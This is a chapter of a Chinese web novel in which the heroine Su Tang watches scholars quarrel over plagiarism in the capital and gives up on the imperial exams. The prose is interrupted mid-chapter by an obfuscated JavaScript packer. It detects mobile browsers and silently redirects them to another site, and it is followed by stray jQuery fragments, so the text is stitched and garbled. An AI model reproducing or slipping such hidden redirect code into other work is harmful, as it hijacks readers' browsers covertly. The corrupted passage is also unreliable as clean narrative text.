苏棠手中生意不少,保不齐会有第二个“益元茶坊”,因此她这次来京城主要有两个目的,一是想个法子让朝廷查一查苏州知府,毕竟自己手里的都是传闻,要办他还得朝廷出面抓罪证才行。
第二条她那天没跟青穗说的太明白,怕吓着她,她想找条大腿或者干脆自己当那条大腿,在官场立足,才能给自己那些生意找个靠山,不至于再随意被人欺负。
自己当大腿她现在只想到两个路子:科考或者捐官,这两条路自己得好好琢磨琢磨,要有效,还不能太累太难,不然就违背自己的初衷了。
看来明天得上街打听打听这京城的情况了。
得益于苏棠的财大气粗、出手阔绰,牙人帮她们置办了不少东西,算是福利赠送,两人稍微收拾收拾就睡下了,还是自己的窝舒服有安全感,之前住在客栈,总觉得不自在。
一夜安眠。
“杏仁儿----茶呦!”
“喝粥咧----热乎的粳米粥!腊八粥!解饿又解愁哎----”
苏棠休整好了,今日特意起了个大早,想见识一下这京城的早市。
随着一家家炊烟袅袅升起,一道道富含韵律和节奏的叫卖声钻进苏棠耳中,食摊林立,简直让人挑的眼花缭乱。看了一圈苏棠决定从今天起一家一家挨个试过去,她要都尝一遍!
先带什么回去好呢?
踌躇间,耳边嘈杂的声音莫名大了起来。
“快快快!快去看热闹,街尾福来客栈几个进京赶考的举子打起来了!”
“这是怎么的了,一大早儿的,饭还没吃利索呢这...…”
“还吃什么饭啊!饭天天顿顿都能吃,热闹这会儿不看一会儿可就没了!”
“是这个理儿,快走着走着!”
苏棠正站在两个摊子前琢磨该给青穗带艾窝窝还是驴打滚呢,一声吆喝就把周遭的人都聚了过去,然后齐齐向街尾奔去。
赶考的举子?科考?这可真是瞌睡送枕头,正想打听这科考是怎么个情况呢,就撞上了,这自己得跟过去瞅瞅。
撒开腿就随着人群挤了过去。
“阁下蛮不讲理,这明明是兄台你的错谬,怎么能不承认呢?”
“你才强词夺理,明明是我写的文章怎么就成你的了?”
“这观点构思明明是我昨夜在灯下琢磨再三的,今晨怎么就成了你的观点了?就是你抄袭我,你无耻!”捏着纸笺的手不断颤抖,脸也憋得通红。
“你才无耻!”另一人也不甘示弱,就差跳起来了。
……
苏棠掏掏耳朵,文人吵架就是没劲,吵来吵去就那几句,没什么新意,看看旁边听得津津有味的老伯,开口请教:“老伯,他们俩吵什么呢?”
老伯看她一个漂漂亮亮的小姑娘,大大方方一点不忸怩作态,小眼睛里都是对八卦的热忱,仿佛找到知音般,迅速进行战况普及:“他们一群书生啊围在一起做那什么文会吧,也不知怎的突然就闹了起来,他说他抄他的,他说他抄他的,到现在都没分出胜负。”老伯说完耸了耸肩。
“哦~”老伯虽然说得抽象,但大致意思苏棠听懂了,就是抄袭呗,到底是谁抄的谁还没定论。
“哎哎哎!要打起来了!”老伯赶紧用手中的草帽杵了杵神游的苏棠,浑身都紧绷了起来,好像在说:等了半晌的重头戏终于来了!
淳朴百姓对看热闹的最朴素愿望:有谈资。
怎样才能让谈资更吸引人呢?——打起来!
苏棠对老伯的老当益壮表示了一下叹服,然后赶紧看去,书生甲举起了拳头,但动作明显犹犹豫豫的,显然是怒气上头举起手,现在碍于大家的目光打也不是,不打也不是。
啧啧啧,冲动是魔鬼啊。
“李兄且慢。”
来了来了,经典桥段,冲突来到尴尬阶段,救场的人终于出现了!
细微的脚步声出现在楼梯上,大家不约而同屏气凝神看向来人,是出来扭转乾坤还是自取其辱的?
只见下来的人一身洗得发白的青布长衫,身形清瘦,面容苍白,手里握着一卷边角磨损的《贞观政要》。
好吧,好在这次的衣服上没有补丁了…...苏棠叹气,怀疑自己是不是穿书了?怎么这么多巧合都刚刚好呢?
没错,这人苏棠认识,就是在苏州城帮她写知府状纸的那个落魄书生,不过自己给他的银两当是够他生活至今的,怎的看着更加穷困潦倒了?
苏棠摩挲着下巴,感到这个动作不太雅观,赶紧端正了姿态。仔细回想一下,自己这张脸没出现在他面前过,非常好,没有掉马危险,可以安心看戏。
“是沈先生。”有人低低唤了一声,其余人也都向他略略点头示意。
人缘不错嘛。
“老伯,这是谁啊。”苏棠赶紧追问。老伯撇撇嘴看着她,对看热闹却连人物都不认识的不尽职行为表示默默谴责。
苏棠嘿嘿一笑。
“他是沈静,苏州来的,据说在苏州学子中是这个。”偷偷比了比大拇指,“那怎么看着这么...…穷呢?”
“好像说是本来就家境贫寒,好多人想资助他,在他面前卖个好,万一以后飞黄腾达呢,就当有所付出有所回报了,可他呀,坚定得很,一个都不收,就平时替人写写书信,做做苦力过活。”
“哦~,真有气节啊,贫者不受嗟来之食。”
“啥?”
“哈哈,没事没事,您接着看。”老伯古怪的看了她一眼,立马回头,看热闹要紧。
“可否借观?”沈静声音平和,周遭的观众都不由得安静下来。
他细细的看过去,忽然停在一处用典上——“董狐直笔”。
抬头望向面前两张气愤又紧张的面容。
“请问两位所引的可是《左转》襄公二十五年的典?”两人互相看看,一起点了点头。
沈静手指一篇文章:“李兄这里‘史胆即人心’是从‘史笔有骨’化来的。”手指又转向另一篇文章,“与周兄这里的‘直笔如剑,可斩奸佞’,是同一源流。”
他语气顿了顿,不顾周遭渐起的议论声,一字一句:“这不是抄袭,是二位对同一典故发出一样的悲鸣,可以说是英雄所见略同,二位既有如此一致的观点,不妨互相切磋共同进步,争吵无益。”
说完将两篇文章递还了过去。
两人对视一眼,随即向沈静作了一揖,“是我二人文思不精,狭隘了,劳烦沈兄。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092693|195501||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“是啊,我二人惭愧得很,谢沈兄点拨。”
沈静点点头,径自上楼去了。
众人见这事就这么解决了,没热闹可看,顿觉无趣,也都随之散了去。
苏棠看看沈静的背影,回忆了一下当初他写的那张状纸,接着又分析了一下刚才他们的对话,然后一头扎进了旁边的书铺子。
学子们都爱在这附近的客栈落脚,周围书铺子开的到处都是,不用费力便能找着。
一进门,书铺特有的旧纸墨的清苦香迎面扑来,铺子不大,两侧直通屋顶的书架子将空间挤得更加逼仄,旁边一溜窄桌上堆满了拓本和散开的卷轴。
苏棠随手拿起一本诗钞翻开,看了两页,没看懂……还没有现代书里的注释……
现代书籍横排版看惯了,这竖排版看得直眼晕,还没有标点!
看不懂……
看不下去…
不理解…
苏棠放弃了,将册子好好放回原地。
这时一位衣着华贵的书生走了进来,四处瞅瞅,马上就从一些仅有的可以下脚的角落里发现了自己的目标。
“世愚兄!前日那篇策论我有了新观点!你且听一听。”然后不顾对面人略有些尴尬的神色,自顾自叽里呱啦说下去:“为天地立心……非有一心可立,乃……以此心映天地,天地遂成……之所映。”
苏棠驻足听了半晌没听懂他说的什么意思,但从对面人逐渐正色的表情中可以略略分辨出,这人应该说的不错。
然后他们兀自讨论起来,一句一句向一座大山一样哐哐砸到苏棠头上,她的手无意识的攥紧案边的一本不知是什么都书。
他们的每一个字自己都能听明白,但连在一起就一个字都不理解了…
这一早让苏棠明白了一个道理:不能容的圈子不要硬容。
世上“除外”的事情除了数学之外如今又多了一样……
热闹看了、打击受了,苏棠得出来一个结论:
科举这条路子自己是绝了……
好吧,也好,读书的苦自己也是不想再吃一点了。而且一路童试乡试考上来的举子们,跟清北的那帮大神有什么区别?自己一个小菜鸡到古代就可以和太阳肩并肩了?
开什么玩笑!
苏棠打了个哆嗦,幸亏自己悬崖勒马没选这条绝路,不然还不一定受怎样的打击和折磨。
万幸万幸。
想通了苏棠就不纠结了,立马把“科举”两个字从心里的小本本上划掉,纸撕下来,团成球,扔得远远的!
那么现在就只剩一条路了——拿钱捐官。
琢磨完杂事苏棠该去办正事了,香味一直勾引她,冲过去艾窝窝和驴打滚全都打包两份,啧啧啧,让美食等我这么久,真是不应该啊。
拎着甜食开心的蹦蹦跳跳转身,一不留神,
“哎呀!——我的糕!”
被她撞到的人赶紧后退两步,看了看苏棠及身后的摊子,从容上前捡起地上掉落的油包。
“姑娘,请恕在下冒事,不知再赔你一份吃食可否?”
苏棠见那人客气的很,又本就是自己撞的人家,让他赔偿是怎么都说不过去的,刚想说不用,旁边一道声音抢了先。